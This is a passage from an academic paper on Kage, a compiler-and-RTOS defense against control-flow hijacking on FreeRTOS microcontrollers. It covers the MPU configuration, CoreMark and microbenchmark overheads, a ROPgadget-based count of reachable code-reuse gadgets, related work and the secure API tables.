tasks. Therefore, Kage provides two list modules, one for the
trusted components and one for the untrusted components.

For the untrusted C library, we transformed Newlib [39],
an open source C library designed for embedded systems.

3We measured the line count of the code scanner and RTOS prototype
using SLOCCount [52].
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Hardware MPU Region Access Permissions
Region Priv. Unpriv.

FLASH Entire FLASH region RO, XN RO, XN
FLASH Code segments RO RO
RAM2 Entire RAM2 region RW, XN RO, XN
RAM2 Unpriv. initialized global data and unpriv. heap RW, XN RW, XN
RAM Entire RAM region RW, XN RO, XN
RAM Unpriv. uninitialized global data and kernel stack RW, XN RW, XN
RAM Stack of current foreground task RW, XN RW, XN

Table 1: Kage’s MPU Configuration on STM32L475 Dis-
covery board. RW = Read & Write, RO = Read-Only, XN =
Execute-Never.

The trusted kernel only uses two C library functions, memset
and strlen, so we manually added untransformed implemen-
tations of the two functions in the trusted kernel. Similarly,
we transformed LLVM’s compiler-rt [1] as the compiler run-
time library for untrusted code. The trusted kernel only uses
__aeabi_uldivmod and __udivmoddi4, so we added their
untransformed implementations in the trusted kernel.

The FreeRTOS kernel uses a privileged_data section
for privileged global variables. Kage adopts this section for
kernel data that should only be writable by trusted code. In
our prototype, only the scheduler and task management data
is placed in this section.

As Section 3.4 explains, a Kage-compliant OS needs to
provide a privileged heap for the trusted kernel and an un-
privileged heap for untrusted kernel and application code. As
FreeRTOS only provides one heap and uses the same heap
for all dynamically allocated data, for Kage, we replaced all
memory allocation calls made outside the trusted computing
base to a new untrusted memory allocation component, i.e.
a different set of malloc and free functions that uses the
unprivileged heap memory region.

Amazon FreeRTOS also includes a suite of functions for
interacting with Amazon’s web services. In Kage, all of these
functions fall outside of the trusted computing base and are
instrumented by the Kage compiler.

4.3.2 MPU Configuration

Our implementation configures the MPU as described in Ta-
ble 1. Kage uses seven MPU regions of the target board.
In addition, Kage enables the default background region of
ARMv7-M [11], which forbids unprivileged access to any
memory address not listed in the regions above and forbids
execution in the peripheral and system regions. The MPU con-
figuration covers two disconnected hardware RAM regions
of 32 KB and 96 KB, respectively.

4.4 Limitations

There are several limitations of the Kage prototype. First,
our current implementation inherits the parallel shadow stack
design of Silhouette [55]. Parallel shadow stacks [17] allow

for more processor-efficient instrumentation at the cost of
higher RAM usage. While this cost is reasonable for the
single-stack bare-metal applications targeted by Silhouette,
it limits the number of tasks that Kage can support. Further,
the current shadow stack implementation also requires all
tasks to use the same stack size. Alternative shadow stack
designs [17] can address these issues. Second, Kage relies on
the developer to properly configure exception priority. Finally,
the Kage compiler does not transform inline assembly code
or hand-written assembly source files; we could address this
in future versions of Kage by implementing the compiler
transformations within the assembler. In our current prototype,
we transformed all the untrusted inline assembly blobs and
assembly source files by hand, which adds 437 lines of code.

5 Performance Evaluation

In this section, we evaluate Kage’s performance. First, we use
the CoreMark benchmark [28] to evaluate Kage with realistic
application code. Then, we use microbenchmarks to explore
the impact of individual Kage components.

As a baseline, we compare Kage to unmodified Amazon
FreeRTOS v1.4.9 [6], the same version on which our proto-
type RTOS is based. We compiled the unmodified FreeRTOS
with LLVM 9.0 [36], the same version on which the Silhou-
ette compiler is based [55]. By default, FreeRTOS disables
the MPU on the discovery board.

We use an STM32L475 Discovery board [43, 45] to run all
experiments. This board contains an ARMv7-M [11] micro-
controller capable of running up to 80 MHz with MPU sup-
port, 128 KB of SRAM, and 1 MB of flash memory. We use
the default configuration of FreeRTOS set to run at 80 MHz.
As all of our test programs fit within the code memory on our
board, we use the -O3 compiler optimization level to improve
the execution time of both the baseline code and Kage.

For each benchmark, we run each configuration three times
and record the average value of the three runs.

5.1 Macrobenchmark

To the best of our knowledge, no open-source benchmark
exists targeting applications with a real-time kernel. We there-
fore ported CoreMark [28] to AWS FreeRTOS and Kage and
modified the benchmark to utilize FreeRTOS’s kernel fea-
tures. CoreMark is an industry-standard benchmark that is
recommended by ARM [8]. CoreMark includes common em-
bedded operations such as linked list manipulations, matrix
multiplications, and state machine operations. In short, our
modified benchmark performs the CoreMark computations
using multiple tasks that are preempted and context switched
and that communicate their outputs to a main task via a queue.
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5.1.1 Benchmark Setup

Our port of CoreMark complies with the license and the in-
structions included in the CoreMark repository [29]. Namely,
we only modified files whose name includes portme.

More specifically, we edited the architecture-dependent
source files of CoreMark to use the system calls of FreeRTOS
and the secure API of Kage so that the CoreMark code would
run on AWS FreeRTOS and Kage. We configured CoreMark
to use its multi-threaded code path so that it creates multiple
benchmark tasks, requiring the OS kernel to context switch
between tasks. We configured all the benchmark tasks to have
the same priority, causing FreeRTOS to use a round robin
scheduling policy. This invokes far more context switches
than the default priority-based scheduling algorithm.

We also modified CoreMark so that a main task initializes
the system and starts execution of all the subtasks that perform
the benchmark computations. This main task also creates a
FreeRTOS queue for each subtask to send its output to the
main task. The main task will verify that the outputs are
correct and measures the start and end times of the benchmark.
Our results include the time to create all of the tasks and
inter-task communication queues, the time for the tasks to
perform their computations, the time needed by FreeRTOS to
context switch between tasks, and the time needed to delete
all the tasks once all computations are complete. Finally, we
modified the function calls to malloc and free such that the
benchmark uses the untrusted heap allocation API of Kage.

CoreMark [28] reports throughput in iterations of compu-
tation per second. We report results for our modified version
of CoreMark in these units as well. Overhead was measured
as a decrease in the number of iterations per second.

5.1.2 Benchmark Results

Table 2 summarizes the performance of the baseline FreeR-
TOS, Kage with only the kernel modifications (i.e., without
any transformations of untrusted code), and the complete
Kage system. As Kage requires its OS mechanisms, the com-
piler transformations, and the code scanner to enforce the
security guarantees, we only include separate results for the
OS mechanisms to elucidate Kage’s overhead sources.

For these experiments, we set the number of iterations to
2,000 per benchmark task and varied the number of tasks
from one to three. Note that the single-task configuration
uses the single-threaded code path of CoreMark, which runs
the benchmark algorithms in the main routine without creat-
ing any benchmark task. For each configuration, we run the
benchmark 3 times.

Kage incurs 5.2% mean overhead compared to the base-
line FreeRTOS. In the single-threaded configuration, Kage
incurs the lowest overhead at 4.6%. This is because the single-
threaded code path uses only a single main task without creat-
ing any benchmark task; as a result, the single-threaded result
has no context switching or inter-task queue overhead. With

Configuration FreeRTOS
(Iter/s)

Kage’s OS
Mechanisms

(Iter/s)

Kage
(Iter/s)

Single-threaded
(no benchmark task) 182.20 179.31 173.88

Double-threaded
(2 benchmark tasks) 183.07 178.42 172.99

Triple-threaded
(3 benchmark tasks) 183.07 178.41 173.01

Table 2: Macrobenchmark Results using Modified CoreMark

Configuration FreeRTOS (Iter/s) Kage (Iter/s)

Single-threaded
(no benchmark task) 104.76 96.14

Double-threaded
(2 benchmark tasks) 102.60 95.77

Triple-threaded
(3 benchmark tasks) 102.59 95.77

Table 3: Macrobenchmark Results without Caching

two and three benchmark tasks, Kage incurs 5.5% and 5.5%
overhead, respectively. This minor increase demonstrates that
the overhead Kage adds via the secure API, context switch-
ing, and unprivileged inter-task queue is likely to have only a
minor impact on the performance of real world applications.
With FreeRTOS’s default priority-based scheduling, which
invokes context switches less often, we expect the impact of
Kage’s context switching to be reduced further.

The primary source of Kage’s overhead was the transforma-
tion of untrusted code. For example, the mean overhead was
2.2% when only Kage’s kernel mechanisms were enabled. In
other words, the shadow stack transformation, store harden-
ing, and forward-edge CFI checks account for the rest of the
5.2% mean overhead. Note that Kage relies on all of these
mechanisms for its security guarantees, i.e., none of these
components are optional.

In both the baseline and Kage, we observed that run-
ning more benchmark tasks would unexpectedly increase
performance in some situations. Namely, for the baseline,
the double-threaded configuration has higher performance
than the single-threaded configuration, and Kage, the triple-
threaded configuration has higher performance than the
double-threaded configuration. To explore the source of
speedup, we re-ran the experiments for the baseline and for
Kage but with the instruction and data caches disabled. Ta-
ble 3 shows the results with no caching. Without caching,
running more tasks decreases the performance for both the
baseline and Kage, as expected. This result leads us to con-
clude that the minor speedup is due to caching.

5.1.3 Code Size Results

We also measured the code size of the binary files of the triple-
threaded configuration to evaluate the impact of Kage on code
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Section FreeRTOS
(Bytes)

Kage’s OS
Mechanisms

(Bytes)

Kage
(Bytes)

Trusted code 50,584 18,950 18,950
Untrusted code 0 53,410 56,802

Total 50,584 72,360 75,752

Table 4: Code Size Results

Microbenchmark for Secure API Time (cycles)

Checking pointer of task control block 62
Checking other types of pointer 75
Checking a new MPU region configuration 106
Checking the current exception priority 7

Table 5: Secure API Overhead

size. As the benchmark tasks are identical, the code size of
other configurations is nearly identical.

Table 4 shows the sizes of the trusted and untrusted code of
FreeRTOS and Kage. Comparing to the baseline FreeRTOS,
Kage incurs an overhead of 49.8% in code size. However,
the bulk of this overhead comes from enabling the MPU in
FreeRTOS, which is not directly from Kage’s extensions. For
example, the code size of the same FreeRTOS with the MPU
enabled is 66,704 bytes, 31.1% larger than that of the baseline
FreeRTOS. Compared to this MPU-enabled version, Kage
incurs an overhead of only 14.2%.

Kage also incurs a substantial code size overhead because
it includes two versions (an untrusted version and a trusted
version) of the C and compiler runtime library functions, the
heap allocation functions, and the kernel list API functions.

5.2 Microbenchmarks

We designed and built a set of microbenchmarks to measure
the number of additional processor cycles introduced by vari-
ous Kage components. Specifically, we measured the cycle
counts of Kage’s secure API checks, context switching, ex-
ception handling, and untrusted kernel code. We used a com-
bination of handwritten assembly and the KIN1 library [30]
to access the cycle counter.

Table 5 shows the cycle counts for the secure API runtime
checks. These components have no equivalents in FreeRTOS,
so there are no baseline numbers. Table 6 shows the perfor-
mance overhead of other Kage mechanisms compared to the
baseline FreeRTOS and FreeRTOS with the MPU enabled.

Kage’s overhead on the microbenchmarks stands in con-
trast to its low overhead on the CoreMark macrobenchmark.
CoreMark’s heavy computation and dearth of system calls are
the primary reasons for this disparity. Besides the overhead of
the compiler transformations, context switching is the com-
ponent that most consistently incurs overhead in CoreMark.

Secure API Runtime Checks: The secure API runtime

Microbenchmark FreeRTOS
(cycles)

FreeRTOS
with MPU

(cycles)

Kage
(cycles)

Context switching 190 213 322
Exception dispatcher 46 46 319
Queue: create 533 704 819
Queue: send and receive 2,012 2,676 3,636
Stream buffer: create 621 723 904
Stream buffer: send and receive 2,043 2,737 3,200

Table 6: Context Switching, Untrusted Exception, and Un-
trusted Kernel Overhead

checks incur overhead ranging from 7 to 106 cycles. The
amount of overhead added to each secure API function de-
pends on the subset of checks the function uses. For example,
only one secure API function calls the 106-cycle MPU con-
figuration check.

Most of the secure API functions contain only one run-
time check, either the task control block check or the generic
pointer check. Only nine of the thirty-one secure API func-
tions include multiple runtime checks. The worst case is the
secure API function that re-configures the task-specific MPU
configuration, which has the runtime checks for task control
block, generic pointer, and MPU configuration.

Context Switching: To measure the cycle count of context
switching, we added code to the beginning of the PendSV [11]
handler to reset the cycle counter and added code to read the
cycle counter immediately before the handler returns. We
made the same changes to the two FreeRTOS configurations.

Kage’s context switching adds 132 cycles over the base-
line FreeRTOS, primarily due to the cost of saving processor
state to the shadow stack. This translates to 1.65 microsec-
onds of execution per context switch. That is an overhead of
69.5% relative to the baseline FreeRTOS and 51.2% relative
to the MPU-enabled FreeRTOS. Enabling the MPU increases
FreeRTOS’s context switching latency (and decreases the rel-
ative overhead of Kage) as the kernel must read the MPU
configurations of the next task from the task control block
and write it into the MPU control registers.

Exception Dispatching: This microbenchmark measures
the execution time of a HardFault exception triggered by
a divide-by-zero operation. We configured the HardFault
handler to use Kage’s exception dispatcher. The actual handler
contains only a small amount of code that clears the divide-
by-zero status bit. The baseline contains the same code that
performs a divide-by-zero operation and the same handler
code that clears the status bit, but it does not use the dispatcher.

Kage’s exception dispatcher adds 273 cycles of overhead.
As with context switching, the exception dispatcher’s over-
head is primarily due to reconfiguring the MPU and saving
register state. The overhead is larger for exception dispatching
than for context switching because the baseline FreeRTOS
does not save any register state when handling exceptions
(aside from the registers the hardware saves automatically).
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In contrast, the baseline FreeRTOS does save register state
during context switching for registers that are not automati-
cally spilled by the hardware.

Untrusted Kernel: Our untrusted-kernel-code mi-
crobenchmarks measure the overhead Kage adds to the un-
trusted kernel API. Specifically, we measured the performance
of the queue and the stream buffer API [32] by measuring the
execution time of creating a queue or a stream buffer and the
execution time of transferring a 32-bit value between tasks.

We selected the queue and stream buffer modules over other
untrusted modules for two reasons. First, our macrobench-
mark uses the queue API for inter-task communication. Sec-
ond, their performance does not depend on unpredictable
factors such as network connectivity and timer events.

For the queue and the stream buffer APIs, Kage incurs
an overhead of 53.7% in queue creation and 80.7% in trans-
ferring data in queue; Kage incurs an overhead of 45.6%
in stream buffer creation and 56.6% in transferring data in
stream buffer. A major contributor to the overhead is the ex-
isting FreeRTOS code for supporting the MPU. For instance,
Kage’s overhead relative to the MPU-enabled FreeRTOS is
16.3% for queue creation, 35.9% for queue data transfer, 25%
for stream buffer creation, and 16.9% for stream buffer data
transfer. The remaining overhead comes from additional se-
cure API checks and Silhouette’s compiler transformations.

6 Security Evaluation

To evaluate Kage’s security, we consider the actions avail-
able to an attacker when all of Kage’s protections have been
applied. In particular, given the security guarantees listed in
Section 3.2, we consider the following question: is it possi-
ble for an attacker to manipulate the control flow in a way
that Kage permits and still perform a useful attack? We con-
clude that useful code-reuse attacks are impossible for the
CoreMark application benchmark.

6.1 Summary of Kage Protections

By design, Kage ensures the integrity of return addresses
(Guarantee 1); restricts the set of legal targets of forward-edge
control-flow branches (Guarantee 2); protects control data
during interrupts, exceptions and context switching (Guaran-
tees 3, 4, and 5); and prevents modification of the existing
code and injection of new code (Guarantee 6). Most code-
reuse attacks [19, 33, 35, 41, 49] are thwarted by this set of
security guarantees. Manipulation of non-control-data is not
prevented by Kage, but as our threat model (Section 3.1) states,
such attacks fall outside of this paper’s scope.

The only possible control-flow hijacking hazard in Kage
arises from the manipulation of forward-edge control-flow
branches. This is due to Kage’s coarse-grained CFI instrumen-
tation (Section 3.5.3), which restricts the set of legal targets

but does not prevent the manipulation. In particular, an at-
tacker can manipulate a function pointer (in untrusted code)
to branch to any function that starts with a valid CFI label.
This is a known weakness of label-based CFI instrumenta-
tion [3], but as past studies have observed, this issue is largely
mitigated by using a shadow stack for protecting return ad-
dresses [3, 18]. We confirm these observations also hold for
Kage by analyzing the set of reachable code-reuse gadgets in
a Kage-compliant OS with the CoreMark benchmark [8].

6.2 Code-Reuse Gadget Analysis

We used ROPgadget [42], an automated tool that is commonly
adopted by security researchers and practitioners [16, 21, 23,
54], to search for gadgets within two binaries. One was the
baseline which comprised FreeRTOS, CoreMark, and all re-
quired supporting libraries; the other was a Kage-compliant
system consisting of all Kage’s components listed in Figure 1
with the unprivileged CoreMark application tasks. This is the
same setup we used in Section 5.

Kage’s security guarantees directly render two broad cate-
gories of code-reuse gadgets as unreachable: gadgets found
in trusted code, and gadgets that do not start at the beginning
of a function or immediately after a call instruction. Gadgets
in trusted code are not reachable because Kage does not add
CFI labels to functions in trusted code, and Kage’s labeling
scheme ensures that a valid CFI label can never unintention-
ally appear within trusted code. Consequently, any attempts
by the attacker to call trusted code from a manipulated func-
tion pointer will fail the CFI check. Untrusted code can call
the secure API via direct function calls (which require no
CFI labels or CFI checks), so it is possible for an attacker
to reuse an existing direct call instruction within a gadget to
call the entry point of a secure API function. However, due
to the checks performed by the secure API code (see Sec-
tion 3.4.2), the code within the secure API function cannot
be used to bypass Kage’s guarantees. Finally, gadgets within
trusted code cannot be reached via corrupted function returns
because Kage guarantees the integrity of return addresses,
and trusted code never calls functions in untrusted code.

Within untrusted code, the only reachable gadgets are those
that start at the beginning of a function or start immediately af-
ter a call instruction. The former are reachable either directly
through function-pointer manipulation or as a part of a larger
gadget that contains a direct call instruction. As Kage guar-
antees return address integrity, the latter can only be reached
when a function returns to the callsite preceding the gadget
and the callsite is the dynamic caller of the function.

Table 7 summarizes the results. ROPgadget discovers
2,276 gadgets in the baseline. Because there are no control
flow protections in the baseline binary, an attacker can use all
of the gadgets. In contrast, ROPgadget finds 1,605 gadgets in
the Kage-compliant binary, but after filtering out unreachable
gadgets according to the rules described above, only 27 gad-
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Binary Found (#) Reachable (#) Priv. Store (#) Stitchable (#)

FreeRTOS 2,276 2,276 1,031 1,908
Kage 1,605 27 0 0

Table 7: Gadgets Found in Baseline FreeRTOS and Kage

gets remain reachable under Kage’s restricted control flow.
Specifically, the 27 gadgets fall into three categories. First,
17 gadgets start at the beginning of a function and end with a
return instruction to its caller. Second, 4 gadgets start right af-
ter a direct function call and end with a return. The remaining
6 gadgets start after a direct call and end with a direct branch
to a static address that is either in the same function or is the
entry point of another function.

We believe this significantly reduced set of 27 gadgets
makes control-flow hijacking attacks impractical. First, none
of the 27 gadgets have a privileged store instruction; there-
fore, an attacker cannot use these gadgets to corrupt security-
critical memory regions (such as the one for MPU configura-
tion). Second, even though attackers can cause control flow
to divert to these gadgets, they cannot combine and execute
these gadgets in arbitrary order i.e., an attacker cannot cause
a gadget to jump to another gadget of the attacker’s choosing,
rendering the gadget not stitchable. All 27 gadgets terminate
with a return, a direct tail call to a function, or a direct branch
to code within the same function. Because of Kage’s return
address integrity guarantee, those terminating with a return
instruction cannot be stitched together with other arbitrary
gadgets within the set of 27 gadgets. Those ending with a
direct tail call or direct branch do not jump to another gad-
get within the set and therefore cannot be stitched together,
either. With these restrictions, we see no way to construct a
working attack from these gadgets with existing techniques.
By comparison, 1,031 gadgets found in baseline FreeRTOS
contain privileged store instructions and 1,908 gadgets are di-
rectly stitchable (because they end in either an indirect branch,
branch to another gadget, or a write to the program counter).

It may seem counterintuitive that ROPGadget found fewer
gadgets in Kage than it found in FreeRTOS even though
the former has a larger code size than the latter (see Sec-
tion 5.1.3). There are two main factors that contribute to the
gadget count difference. First, Kage’s shadow stack transfor-
mation changes pop {..., pc} to ldr pc, [sp, #4092],
eliminating a large number of potential gadgets. Specifically,
when the shadow stack transformation was disabled, ROPgad-
get found 1,828 gadgets in Kage (compared to 1,605). Second,
FreeRTOS uses libgcc as the runtime library while Kage
uses a store-hardened version of compiler-rt [1]. As a re-
sult, many gadgets found in the libgcc library in FreeRTOS
do not exist in Kage. For example, ROPgadget found 112
gadgets in __adddf3 in FreeRTOS. While the compiler-rt
library also has this function, ROPgadget did not find any
gadgets in the compiler-rt version.

Finally, we acknowledge that our evaluation’s complete-
ness depends on two factors. First and foremost, it depends
on ROPgadget’s ability to locate gadgets. Given that it found
2,276 gadgets in our baseline, we believe that ROPgadget
is capable of finding many gadgets. Second, our evaluation
depends on the applications used for evaluation. Different pro-
grams will have different numbers and types of gadgets. How-
ever, ROPgadget found many gadgets in the CoreMark code
and even more in common code (the C library, the compiler-rt
run-time library, and the untrusted portion of FreeRTOS) that
will be linked into any application compiled for Kage.

7 Related Work

Control-Flow Protections on Embedded Systems. Several
studies have proposed schemes for protecting bare-metal
embedded systems (i.e., those without an OS kernel) from
control-flow hijacking, including Silhouette [55], µRAI [5],
EPOXY [22], and CaRE [40]. Our system, Kage, leverages
Silhouette’s store hardening technique to isolate privileged
memory. µRAI [5] protects the return address of a function
by saving all return addresses in the code segment at com-
pile time and reserving a register to indicate the proper entry
for current function, combining that technique with forward-
edge CFI checks. EPOXY [22] protects the return address by
moving all potentially unsafe stack operations to a separate
unsafe stack. Both the safe and unsafe stack are writable in
unprivileged mode, so a strong attacker could still potentially
overwrite return addresses on the safe stack. Also, EPOXY
relies on static analysis techniques to identify unsafe stack
operations, which is more challenging for larger programs
such as an embedded OS with multiple application tasks,
each using its own stack. CaRE [40] provides a protected
shadow stack and forward-edge CFI for ARMv8-M [12] by
providing a branch monitor that accesses the ARM TrustZone-
M-protected secure memory [12] to handle control-flow trans-
fers.4 Unlike these systems, Kage includes and protects a full
real-time kernel.

Some studies have considered embedded systems with a
real-time OS. Of those, RECFISH [51] is the most directly
relevant to our work. RECFISH [51] provides CFI checks
and protected shadow stacks for tasks on FreeRTOS. Kage
addresses several RECFISH limitations. First, RECFISH in-
cludes the entire RTOS kernel in the TCB; application tasks
can trick kernel functions into overwriting control data by
passing in bad pointer arguments. Kage, in contrast, removes
most kernel code from the TCB and prevents misuse of the
secure API with runtime checks. Second, RECFISH does
not protect the processor state of exception handlers from
untrusted exception handler code, whereas Kage does this
through the exception dispatcher. Third, RECFISH uses SVC

4As TrustZone-M is only available on the ARMv8-M architecture, CaRE
cannot be adapted to the widely-deployed ARMv7-M architecture.
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to switch privilege modes when tasks must write to their
shadow stacks, incurring high overhead (20-30% on average)
in application code. Kage uses store hardening to access the
shadow stack efficiently.

µArmor [4] is a compiler-based protection system targeting
Zephyr RTOS that relies on diversification and data separation.
For data separation, µArmor ensures that code and data are in
separate regions and data and pointers are separated within
a stack frame. For diversification, µArmor applies various
diversification techniques to the binary, such as randomizing
register order during a function call, inserting NOP instruc-
tions, and reordering functions inside the binary. As with
other diversification-based defenses, µArmor requires that the
attacker cannot obtain the binary or leak memory. In contrast,
information leaks do not weaken Kage’s security guarantees.

Memory Safety on Embedded Systems. Embedded
SAFECode [27] is a compiler that enforces memory safety
on embedded programs written in C. SAFECode guarantees
the safety of pointer references to the stack and heap and the
safety of array accesses. Due to the additional restrictions
on pointer operations and array accesses, developers need to
modify the OS kernel and application source code to meet
SAFECode’s requirements. In some cases, it is impractical
to pass all the checks. Kage’s security guarantees are weaker
than full memory safety, but Kage provides strong protection
against control-flow hijacking attacks with low overhead and
without requiring application source code changes.

nesCheck [38] is a compiler that enforces memory safety
on programs written in nesC, a C dialect used in applications
for TinyOS. nesCheck uses whole-program static analysis to
detect code areas potentially vulnerable to memory bugs and
adds runtime checks to these locations. As nesCheck adds a
runtime check to every location in the code that may cause
a memory error, programs containing many memory oper-
ations could see high overhead. While the store hardening
mechanism used by Kage also incurs overhead on store-heavy
programs, Kage can transform many types of store instruc-
tions with no overhead.

Tock [37, 48] is an embedded operating system with its
kernel written in Rust. Tock takes advantage of features of the
Rust programming language to enforce memory safety and
type safety in its kernel. Unlike Kage, Tock uses hardware
privilege levels for isolation. Tock is not a real-time operating
system, as it uses a round-robin scheduler instead of a real-
time priority-based scheduler. Moreover, Tock requires device
manufacturers or OS maintainers to re-write existing HAL
libraries in Rust for each device.

Intra-address Space Isolation on Embedded Systems.
Mbed OS [7] provides a secure partition manager in its Plat-
form Security Architecture, allowing each application to cre-
ate independent secure partitions. However, the Platform Se-
curity Architecture of Mbed OS only supports multi-core
ARMv7-M [11] and ARMv8-M [12] microcontrollers, where
Kage supports single-core ARMv7-M microcontrollers.

General-Purpose OS Control-Flow Integrity. SVA [25,
26] is a compiler-based virtual machine that enforces control-
flow integrity, memory safety, and type safety on applications
and the OS kernel. KCoFI [24] uses the SVA infrastructure to
enforce CFI for operating systems. KCoFI provides similar
protections as Kage such as protecting the processor state
during context switch and exception entry, and additional en-
forcements required for general-purpose systems with virtual
memory. However, Kage and KCoFI have two key differences.
First, KCoFI protects its privileged memory using software
fault isolation [50] while Kage utilizes store hardening. Sec-
ond, KCoFI is a compiler-based virtual machine that is de-
signed to be agnostic to the OS kernel’s design. Consequently,
KCoFI must maintain its own metadata for information that is
already present within the OS kernel. In contrast, Kage splits
the OS kernel into a small trusted component and an untrusted
component, allowing Kage to avoid maintaining redundant
copies of security critical metadata outside the kernel.

8 Conclusions and Future Work

We presented the design, implementation, and evaluation of
a software system that protects microcontroller-based em-
bedded systems from control-flow hijacking. Collectively
called Kage, our work includes techniques to isolate un-
trusted components, protect control data from corruption by
memory errors, and securely handle context switching, in-
terrupts, and exceptions. Kage is open-sourced at https:
//github.com/URSec/Kage.

Kage’s implementation builds on FreeRTOS [6] and ex-
tends the Silhouette compiler [55]. Porting existing code writ-
ten for FreeRTOS to Kage should be relatively straightforward
as Kage preserves the kernel features of FreeRTOS (such as
scheduling behavior, intertask communication, etc). Further,
we designed Kage’s secure API to be compatible with the
task API of FreeRTOS.

Kage’s security guarantees come at a minor cost when
executing application code in tasks. For CoreMark [28], Kage
incurred an average runtime overhead of 5.2% compared to
unmodified FreeRTOS. In addition, Kage added an overhead
of 49.8% in code size, but the main source of that overhead
was from the additional code in FreeRTOS needed to manage
the MPU. In particular, Kage increased the code size by just
14.2% over baseline FreeRTOS with the MPU enabled. Kage
also reduced the reachable code-reuse gadgets from 2,276
to 27. Further, those remaining gadgets are not sufficient for
conducting a practical attack.

There are several promising directions for future work.
First, we plan to extend Kage to support additional security
policies. For example, with minor modifications to the secure
API, Kage can also protect the integrity of task scheduling.
That is, the system could guarantee the real-time execution
of tasks. Second, we intend to implement alternative shadow
stack designs to improve memory utilization and allow more
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flexibility in setting the stack size for individual tasks. Finally,
we would like to investigate techniques for reducing Kage’s
code size overhead.
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A Secure API Implementation

This appendix shows the secure API details in our prototype
of Kage. The secure API is the subset of API functions, from
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Data Type Internal Data Type Description

TaskHandle_t tskTaskControlBlock* The pointer to a task control block
TickType_t uint32_t Number of ticks
BaseType_t long General data
UBaseType_t unsigned long Unsigned general data
List_t N/A A struct representing a doubly linked list
ListItem_t N/A A struct representing a node in List_t
MemoryRegion_t N/A A struct to store a memory region configuration
TaskParameters_t N/A A struct to store configurations of a task

Table 8: Data Types of Secure API

Name(Argument Types): Return Type Description

xTaskCreateRestricted(TaskParameters_t*, TaskHandle_t*):
BaseType_t

Create a task with given parameters. Return true if the task is successfully
created, false otherwise.

vTaskDelete(TaskHandle_t): void Delete given task.
vTaskDelayUntil(TickType_t*, TickType_t): void Delay current foreground task for given ticks relative to the first argument and

write the wake up tick to it.
vTaskDelay(TickType_t): void Delay current foreground task for given ticks relative to the tick this function

is called.
vTaskFinishInit(void): void Mark the end of task creation. After this point, Kage does not allow creating

new task anymore.
vTaskPrioritySet(TaskHandle_t, UBaseType_t): void Set the priority of given task to given value.
vTaskSuspend(TaskHandle_t): void Suspend given task.
vTaskResume(TaskHandle_t): void Resume given task. Do nothing if the task is not suspended.
vTaskAllocateMPURegions(TaskHandle_t, MemoryRegion_t*): void Change the MPU configuration of given task to given memory region configu-

ration.
ulTaskNotifyTake(BaseType_t, TickType_t): uint32_t Block current foreground task and use notification as semaphore until given

ticks. Return notification value before it changes.
xTaskNotifyWait(uint32_t, uint32_t, uint32_t*, TickType_t):
BaseType_t

Block current foreground task until notified or for given ticks. Return true if
notification is received, false on timeout.

xTaskGenericNotify(TaskHandle_t, uint32_t, eNotifyAction,
uint32_t*): BaseType_t

Unblock given task and optionally update its notification value bits. Return
true if notification bits are updated successfully, false otherwise.

xTaskNotifyStateClear(TaskHandle_t): BaseType_t Clear notification state of given task without clearing notification value bits.
Return true if this function changes the notification state; return false if no
action is needed.

vMainUARTPrintString(char*): void Print given string to serial output using HAL library function that accesses
corresponding peripherals.

Table 9: Task Management Secure API for Application Tasks and Untrusted Kernel

the FreeRTOS [32] scheduler and task management modules,
that write to protected data structures, with one exception: we
added one additional API function, vTaskFinishInit, to de-
clear the end of the initialization sequence. Table 9, Table 10,
and Table 11 list the individual secure API functions. Beside
vTaskFinishInit, all functions in the list use the same ar-
guments and return types as the corresponding functions in
FreeRTOS.

Table 8 lists the argument data types of the secure API.
All secure API functions that have an argument of type
TaskHandle_t contain the runtime check that verifies the
task control block’s validity. All secure API functions with
other types of pointer arguments use a different runtime check
to verify that the pointer points to an unprivileged memory
region and that writing to the address would not cause an
overflow.

Table 9 lists the secure API functions available to both

application tasks and untrusted kernel components. These
functions are available for untrusted components to con-
trol the state of tasks such as deleting a task, changing the
MPU configuration of a task, and task synchronization. The
vTaskAllocateMPURegions contains the runtime check ver-
ifying that the new task-specific MPU configuration does not
violate Kage’s MPU policy. The xTaskCreateRestricted
function is only available to the system initialization sequence.
To enforce this restriction, we require developers to call the
vTaskFinishInit function that marks the end of the initial-
ization sequence. After calling vTaskFinishInit, Kage no
longer allows task creation.

Table 10 lists the secure API functions only available
to untrusted kernel components. These functions allow un-
trusted kernel components such as the queue API and the
timer API to manage the interactions of tasks. For example,
when a task calls the queue API to receive a data structure,
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Name(Argument Types): Return Type Description

vPortEnterCritical(void): void Enter critical section that temporarily disables context switching and exception
handling.

vPortExitCritical(void): void Exit critical section.
vTaskMissedYield(void): void Request for a context switch.
xTaskPriorityInherit(TaskHandle_t): BaseType_t Raise the priority of given task to that of the current foreground task.
xTaskPriorityDisinherit(TaskHandle_t): BaseType_t Reset the priority of given task to its original value.
xTaskPriorityDisinheritAfterTimeout(TaskHandle_t,
UBaseType_t): void

Set the priority of given task to given priority value if the task’s current priority
is lower than the value.

pvTaskIncrementMutexHeldCount(void): TaskHandle_t Increment the mutex count of current foreground task. Return its task control
block.

vTaskSuspendAll(void): void Stop the scheduler.
xTaskResumeAll(void): BaseType_t Resume the scheduler. Return true if a context switch is scheduled.
vTaskPlaceOnEventList(List_t*, TickType_t): void Delay current foreground task for given ticks and add it to the given event

waiting list. Store the task priority and sort the list by it.
vTaskPlaceOnEventListRestricted(List_t*,TickType_t,
BaseType_t): void

Same as vTaskPlaceOnEventList, but use the third argument to determine
whether to delay indefinitely or not.

vTaskPlaceOnUnorderedEventList(List_t*, TickType_t,
TickType_t): void

Delay current foreground task for given ticks and add it to the given event
waiting list. Store second argument and do not sort the list.

xTaskRemoveFromEventList(List_t*): BaseType_t Resume the first task in the list and remove the task from the event list. Return
true if a context switch is required, false otherwise.

vTaskRemoveFromUnorderedEventList(ListItem_t*, TickType_t):
void

Resume the task associated with given list item. Store second argument to the
value of list item.

Table 10: Task Management Secure API for Untrusted Kernel Only

Name(Argument Types): Return Type Description

xTaskResumeFromISR(TaskHandle_t): BaseType_t Resume given task. Do nothing if the task is not suspended. Return true if a
context switch is required; return false otherwise.

xTaskGenericNotifyFromISR(TaskHandle_t, uint32_t,
eNotifyAction, uint32_t*, BaseType_t*): BaseType_t

Same as xTaskGenericNotify, but write to fifth argument whether a context
switch is needed after unblocking given task.

vTaskNotifyGiveFromISR(TaskHandle_t, BaseType_t*): void Unblock given task, using notification as semaphore. The normal version of
this API is defined as a macro of xTaskGenericNotify.

Table 11: Task Management Secure API for Untrusted Exception Handlers Only

but the queue is empty, the queue API function calls the
vTaskPlaceOnEventList secure API function to add the
task to the list of tasks waiting for data on this queue and
to delay the task from executing until the data arrives or a
timeout occurs.

